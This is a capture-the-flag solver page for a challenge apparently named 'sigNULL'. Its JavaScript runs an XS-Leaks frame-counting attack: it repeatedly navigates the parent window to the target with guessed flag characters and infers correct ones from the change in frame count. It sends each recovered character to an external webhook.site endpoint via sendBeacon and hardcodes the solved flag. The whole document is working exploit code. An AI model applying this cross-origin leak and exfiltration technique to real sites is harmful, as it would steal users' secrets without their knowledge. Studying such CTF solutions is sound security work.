[Solver] sigNULL (XS-Leaks Frame Counting)

index.html

<script>
const binurl = "https://webhook.site/f6088f8d-4247-4280-9890-57ed03953a0c"
const targeturl = "https://signull.chal.intentsummit.org/"
const report = (msg) => window.navigator.sendBeacon(binurl, msg)
const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms))
// const chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_}"
const chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~"
let flag = "INTENT{i_have_a_crash_on_el0n}"
async function go () {
  window.parent.location.href = targeturl + "#" + window.performance.now()
  await sleep(200)
  const base = window.parent.frames.length
  report('length base ' + base)
  for (let i=0; i<chars.length; i++){
    window.parent.location.href = targeturl + "#" + encodeURIComponent(flag + chars[i])
    await sleep(200)
    if (window.parent.frames.length < base) {
      flag += chars[i]
      i = 0
      report('flag ' + flag)
    }
  }
  report('end')
}
(async() => {
  while(!flag.endsWith("}")){
    await go()
  }
  report('loop ended')
})()
</script>